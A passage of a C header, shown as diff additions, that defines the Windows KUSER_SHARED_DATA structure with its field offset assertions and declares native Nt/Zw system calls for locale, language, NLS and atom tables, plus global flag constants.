SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_HV_PAGE (0x02) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_DISABLE_32BIT (0x04) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_MFENCE (0x10) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_LFENCE (0x20) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_A73_ERRATA (0x40) +#define SHARED_GLOBAL_FLAGS_QPC_BYPASS_USE_RDTSCP (0x80) + +#include +//@[comment("MVI_tracked")] +typedef struct _KUSER_SHARED_DATA { + + // + // Current low 32-bit of tick count and tick count multiplier. + // + // N.B. The tick count is updated each time the clock ticks. + // + + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + // + // Current 64-bit interrupt time in 100ns units. + // + + volatile KSYSTEM_TIME InterruptTime; + + // + // Current 64-bit system time in 100ns units. + // + + volatile KSYSTEM_TIME SystemTime; + + // + // Current 64-bit time zone bias. + // + + volatile KSYSTEM_TIME TimeZoneBias; + + // + // Support image magic number range for the host system. + // + // N.B. This is an inclusive range. + // + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + // + // Copy of system root in unicode. + // + // N.B. This field must be accessed via the RtlGetNtSystemRoot API for + // an accurate result. + // + + WCHAR NtSystemRoot[260]; + + // + // Maximum stack trace depth if tracing enabled. + // + + ULONG MaxStackTraceDepth; + + // + // Crypto exponent value. + // + + ULONG CryptoExponent; + + // + // Time zone ID. + // + + ULONG TimeZoneId; + ULONG LargePageMinimum; + + // + // This value controls the AIT Sampling rate. + // + + ULONG AitSamplingValue; + + // + // This value controls switchback processing. + // + + ULONG AppCompatFlag; + + // + // Current Kernel Root RNG state seed version + // + + ULONGLONG RNGSeedVersion; + + // + // This value controls assertion failure handling. + // + + ULONG GlobalValidationRunlevel; + + volatile LONG TimeZoneBiasStamp; + + // + // The shared collective build number undecorated with C or F. + // GetVersionEx hides the real number + // + + ULONG NtBuildNumber; + + // + // Product type. + // + // N.B. This field must be accessed via the RtlGetNtProductType API for + // an accurate result. + // + + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + BOOLEAN Reserved0[1]; + USHORT NativeProcessorArchitecture; + + // + // The NT Version. + // + // N. B. Note that each process sees a version from its PEB, but if the + // process is running with an altered view of the system version, + // the following two fields are used to correctly identify the + // version + // + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + // + // Processor features. + // + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + // + // Reserved fields - do not use. + // + + ULONG Reserved1; + ULONG Reserved3; + + // + // Time slippage while in debugger. + // + + volatile ULONG TimeSlip; + + // + // Alternative system architecture, e.g., NEC PC98xx on x86. + // + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + // + // Boot sequence, incremented for each boot attempt by the OS loader. + // + + ULONG BootId; + + // + // If the system is an evaluation unit, the following field contains the + // date and time that the evaluation unit expires. A value of 0 indicates + // that there is no expiration. A non-zero value is the UTC absolute time + // that the system expires. + // + + LARGE_INTEGER SystemExpirationDate; + + // + // Suite support. + // + // N.B. This field must be accessed via the RtlGetSuiteMask API for + // an accurate result. + // + + ULONG SuiteMask; + + // + // TRUE if a kernel debugger is connected/enabled. + // + + BOOLEAN KdDebuggerEnabled; + + // + // Mitigation policies. + // + + union + { + UCHAR MitigationPolicies; + struct + { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + }; + }; + + // + // Measured duration of a single processor yield, in cycles. This is used by + // lock packages to determine how many times to spin waiting for a state + // change before blocking. + // + + USHORT CyclesPerYield; + + // + // Current console session Id. Always zero on non-TS systems. + // + // N.B. This field must be accessed via the RtlGetActiveConsoleId API for an + // accurate result. + // + + volatile ULONG ActiveConsoleId; + + // + // Force-dismounts cause handles to become invalid. Rather than always + // probe handles, a serial number of dismounts is maintained that clients + // can use to see if they need to probe handles. + // + + volatile ULONG DismountCount; + + // + // This field indicates the status of the 64-bit COM+ package on the + // system. It indicates whether the Itermediate Language (IL) COM+ + // images need to use the 64-bit COM+ runtime or the 32-bit COM+ runtime. + // + + ULONG ComPlusPackage; + + // + // Time in tick count for system-wide last user input across all terminal + // sessions. For MP performance, it is not updated all the time (e.g. once + // a minute per session). It is used for idle detection. + // + + ULONG LastSystemRITEventTickCount; + + // + // Number of physical pages in the system. This can dynamically change as + // physical memory can be added or removed from a running system. + // + + ULONG NumberOfPhysicalPages; + + // + // True if the system was booted in safe boot mode. + // + + BOOLEAN SafeBootMode; + + // + // Virtualization flags + // + + union { + UCHAR VirtualizationFlags; + +#if defined(_ARM64_) + // + // Keep in sync with arc.w + // + struct { + UCHAR ArchStartedInEl2 : 1; + UCHAR QcSlIsSupported : 1; + UCHAR : 6; + }; +#endif // _ARM64_ + }; + + // + // Reserved (available for reuse). + // + + UCHAR Reserved12[2]; + + // + // This is a packed bitfield that contains various flags concerning + // the system state. They must be manipulated using interlocked + // operations. + // + // N.B. DbgMultiSessionSku must be accessed via the RtlIsMultiSessionSku + // API for an accurate result + // + + union { + ULONG SharedDataFlags; + struct { + + // + // The following bit fields are for the debugger only. Do not use. + // Use the bit definitions instead. + // + + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + } DUMMYSTRUCTNAME2; + } DUMMYUNIONNAME2; + + ULONG DataFlagsPad[1]; + + // + // Depending on the processor, the code for fast system call will differ, + // Stub code is provided pointers below to access the appropriate code. + // + // N.B. The following field is only used on 32-bit systems. + // + + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + + // + // On AMD64, this value is initialized to a nonzero value if the system + // operates with an altered view of the system service call mechanism. + // + + ULONG SystemCall; + + // + // Reserved field - do not use. Used to be UserCetAvailableEnvironments. + // + + ULONG Reserved2; + + // + // Reserved, available for reuse. + // + + ULONGLONG SystemCallPad[2]; + + // + // The 64-bit tick count. + // + + union { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME3; + + // + // Cookie for encoding pointers system wide. + // + + ULONG Cookie; + ULONG CookiePad[1]; + + // + // Client id of the process having the focus in the current + // active console session id. + // + // N.B. This field must be accessed via the + // RtlGetConsoleSessionForegroundProcessId API for an accurate result. + // + + LONGLONG ConsoleSessionForegroundProcessId; + + // + // N.B. The following data is used to implement the precise time + // services. It is aligned on a 64-byte cache-line boundary and + // arranged in the order of typical accesses. + // + // Placeholder for the (internal) time update lock. + // + + ULONGLONG TimeUpdateLock; + + // + // The performance counter value used to establish the current system time. + // + + ULONGLONG BaselineSystemTimeQpc; + + // + // The performance counter value used to compute the last interrupt time. + // + + ULONGLONG BaselineInterruptTimeQpc; + + // + // The scaled number of system time seconds represented by a single + // performance count (this value may vary to achieve time synchronization). + // + + ULONGLONG QpcSystemTimeIncrement; + + // + // The scaled number of interrupt time seconds represented by a single + // performance count (this value is constant after the system is booted). + // + + ULONGLONG QpcInterruptTimeIncrement; + + // + // The scaling shift count applied to the performance counter system time + // increment. + // + + UCHAR QpcSystemTimeIncrementShift; + + // + // The scaling shift count applied to the performance counter interrupt time + // increment. + // + + UCHAR QpcInterruptTimeIncrementShift; + + // + // The count of unparked processors. + // + + USHORT UnparkedProcessorCount; + + // + // A bitmask of enclave features supported on this system. + // + // N.B. This field must be accessed via the RtlIsEnclareFeaturePresent API for an + // accurate result. + // + + ULONG EnclaveFeatureMask[4]; + + // + // Current coverage round for telemetry based coverage. + // + + ULONG TelemetryCoverageRound; + + // + // The following field is used for ETW user mode global logging + // (UMGL). + // + + USHORT UserModeGlobalLogger[16]; + + // + // Settings that can enable the use of Image File Execution Options + // from HKCU in addition to the original HKLM. + // + + ULONG ImageFileExecutionOptions; + + // + // Generation of the kernel structure holding system language information + // + + ULONG LangGenerationCount; + + // + // Reserved (available for reuse). + // + + ULONGLONG Reserved4; + + // + // Current 64-bit interrupt time bias in 100ns units. + // + + volatile ULONGLONG InterruptTimeBias; + + // + // Current 64-bit performance counter bias, in performance counter units + // before the shift is applied. + // + + volatile ULONGLONG QpcBias; + + // + // Number of active processors and groups. + // + + ULONG ActiveProcessorCount; + volatile UCHAR ActiveGroupCount; + + // + // Reserved (available for re-use). + // + + UCHAR Reserved9; + + union { + USHORT QpcData; + struct { + + // + // A boolean indicating whether performance counter queries + // can read the counter directly (bypassing the system call). + // + + volatile UCHAR QpcBypassEnabled; + + // + // Shift applied to the raw counter value to derive the + // QPC count. + // + + UCHAR QpcShift; + }; + }; + + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER TimeZoneBiasEffectiveEnd; + + // + // Extended processor state configuration + // + + XSTATE_CONFIGURATION XState; + + KSYSTEM_TIME FeatureConfigurationChangeStamp; + ULONG Spare; + +} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; +#include + +// +// Mostly enforce earlier comment about the stability and +// architecture-neutrality of this struct. +// + +#if !defined(__midl) && !defined(MIDL_PASS) + +// +// Assembler logic assumes a zero value for syscall and a nonzero value for +// int 2e, and that no other values exist presently for the SystemCall field. +// + +C_ASSERT(SYSTEM_CALL_SYSCALL == 0); +C_ASSERT(SYSTEM_CALL_INT_2E == 1); + +// +// The overall size can change, but it must be the same for all architectures. +// + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountLowDeprecated) == 0x0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(__alignof(KSYSTEM_TIME) == 4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x08); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x014); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x020); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x02c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x02e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x030); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x24c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, RNGSeedVersion) == 0x250); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, GlobalValidationRunlevel) == 0x258); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBiasStamp) == 0x25c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtBuildNumber) == 0x260); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NativeProcessorArchitecture) == 0x26a); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MitigationPolicies) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CyclesPerYield) == 0x2d6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, VirtualizationFlags) == 0x2ed); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved12) == 0x2ee); + +#if defined(_MSC_EXTENSIONS) +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SharedDataFlags) == 0x2f0); +#endif + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcFrequency) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x30c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x310); + +#if defined(_MSC_EXTENSIONS) +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +#endif + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeUpdateLock) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, BaselineSystemTimeQpc) == 0x348); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, BaselineInterruptTimeQpc) == 0x350); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcSystemTimeIncrement) == 0x358); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcInterruptTimeIncrement) == 0x360); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcSystemTimeIncrementShift) == 0x368); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcInterruptTimeIncrementShift) == 0x369); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UnparkedProcessorCount) == 0x36a); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, EnclaveFeatureMask) == 0x36c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TelemetryCoverageRound) == 0x37c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved9) == 0x3c5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcData) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcBypassEnabled) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcShift) == 0x3c7); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBiasEffectiveStart) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBiasEffectiveEnd) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3d8); +#if !defined(WINDOWS_IGNORE_PACKING_MISMATCH) +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, FeatureConfigurationChangeStamp) == 0x720); +C_ASSERT(sizeof(KUSER_SHARED_DATA) == 0x730); +#endif + +#endif /* __midl | MIDL_PASS */ + +#ifndef SharedUserData +#define SharedUserData USER_SHARED_DATA +#endif + +#endif // _KERNEL_MODE + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)0x7ffe0000) + +// +// Locale +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDefaultLocale( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDefaultLocale( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultLocale( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDefaultLocale( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInstallUILanguage( + _Out_ LANGID* InstallUILanguageId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInstallUILanguage( + _Out_ LANGID* InstallUILanguageId +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstallUILanguage( + _In_ LANGID InstallUILanguage, + _In_ ULONG SetComittedFlag +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushInstallUILanguage( + _In_ LANGID InstallUILanguage, + _In_ ULONG SetComittedFlag +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDefaultUILanguage( + _Out_ LANGID* DefaultUILanguageId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage( + _Out_ LANGID* DefaultUILanguageId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultUILanguage( + _In_ LANGID DefaultUILanguageId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDefaultUILanguage( + _In_ LANGID DefaultUILanguageId +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtIsUILanguageComitted( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwIsUILanguageComitted( + VOID +); +#endif + +// +// NLS +// + +// begin_private + +#if (NTDDI_VERSION >= NTDDI_VISTA) +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize +); +#else +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize, + _Out_opt_ PULONG CurrentNLSVersion +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize, + _Out_opt_ PULONG CurrentNLSVersion +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNlsSectionPtr( + _In_ ULONG SectionType, + _In_ ULONG SectionData, + _In_ PVOID ContextData, + _Out_ PVOID* SectionPointer, + _Out_ PULONG SectionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetNlsSectionPtr( + _In_ ULONG SectionType, + _In_ ULONG SectionData, + _In_ PVOID ContextData, + _Out_ PVOID* SectionPointer, + _Out_ PULONG SectionSize +); + +#if (NTDDI_VERSION < NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAcquireCMFViewOwnership( + _Out_ PULONGLONG TimeStamp, + _Out_ PBOOLEAN tokenTaken, + _In_ BOOLEAN replaceExisting +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAcquireCMFViewOwnership( + _Out_ PULONGLONG TimeStamp, + _Out_ PBOOLEAN tokenTaken, + _In_ BOOLEAN replaceExisting +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseCMFViewOwnership( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseCMFViewOwnership( + VOID +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapCMFModule( + _In_ ULONG What, + _In_ ULONG Index, + _Out_opt_ PULONG CacheIndexOut, + _Out_opt_ PULONG CacheFlagsOut, + _Out_opt_ PULONG ViewSizeOut, + _Out_opt_ PVOID* BaseAddress +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapCMFModule( + _In_ ULONG What, + _In_ ULONG Index, + _Out_opt_ PULONG CacheIndexOut, + _Out_opt_ PULONG CacheFlagsOut, + _Out_opt_ PULONG ViewSizeOut, + _Out_opt_ PVOID* BaseAddress +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetMUIRegistryInfo( + _In_ ULONG Flags, + _Inout_ PULONG DataSize, + _Out_ PVOID Data +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetMUIRegistryInfo( + _In_ ULONG Flags, + _Inout_ PULONG DataSize, + _Out_ PVOID Data +); +#endif + +// end_private + +// +// Global atoms +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +#define ATOM_FLAG_GLOBAL 0x2 + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddAtomEx( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddAtomEx( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFindAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFindAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteAtom( + _In_ RTL_ATOM Atom +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteAtom( + _In_ RTL_ATOM Atom +); + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, * PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, * PATOM_TABLE_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Global flags +// + +#define FLG_STOP_ON_EXCEPTION 0x00000001 // uk +#define FLG_SHOW_LDR_SNAPS 0x00000002 // uk +#define FLG_DEBUG_INITIAL_COMMAND 0x00000004 // k +#define FLG_STOP_ON_HUNG_GUI 0x00000008 // k + +#define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010 // u +#define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020 // u +#define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040 // u +#define FLG_HEAP_VALIDATE_ALL 0x00000080 // u + +#define FLG_APPLICATION_VERIFIER 0x00000100 // u +#define FLG_POOL_ENABLE_TAGGING 0x00000400 // k +#define FLG_HEAP_ENABLE_TAGGING 0x00000800 // u + +#define FLG_USER_STACK_TRACE_DB 0x00001000 // u,32 +#define FLG_KERNEL_STACK_TRACE_DB 0x00002000 // k,32 +#define FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000 // k +#define FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000 // u + +#define FLG_DISABLE_STACK_EXTENSION 0x00010000 // u +#define FLG_ENABLE_CSRDEBUG 0x00020000 // k +#define FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000 // k +#define FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000 // k + +#define FLG_ENABLE_SYSTEM_CRIT_BREAKS 0x00100000 // u +#define FLG_HEAP_DISABLE_COALESCING 0x00200000 // u +#define FLG_ENABLE_CLOSE_EXCEPTIONS 0x00400000 // k +#define FLG_ENABLE_EXCEPTION_LOGGING 0x00800000 // k + +#define FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000 // k +#define FLG_HEAP_PAGE_ALLOCS 0x02000000 // u +#define FLG_DEBUG_INITIAL_COMMAND_EX 0x04000000 // k +#define FLG_DISABLE_DBGPRINT 0x08000000 // k + +#define FLG_CRITSEC_EVENT_CREATION 0x10000000 // u +#define FLG_LDR_TOP_DOWN 0x20000000 // u,64 +#define FLG_ENABLE_HANDLE_EXCEPTIONS 0x40000000 // k +#define FLG_DISABLE_PROTDLLS 0x80000000 // u + +#define FLG_VALID_BITS 0xfffffdff + +#define FLG_USERMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \ + FLG_SHOW_LDR_SNAPS | \ + FLG_HEAP_ENABLE_TAIL_CHECK | \ + FLG_HEAP_ENABLE_FREE_CHECK | 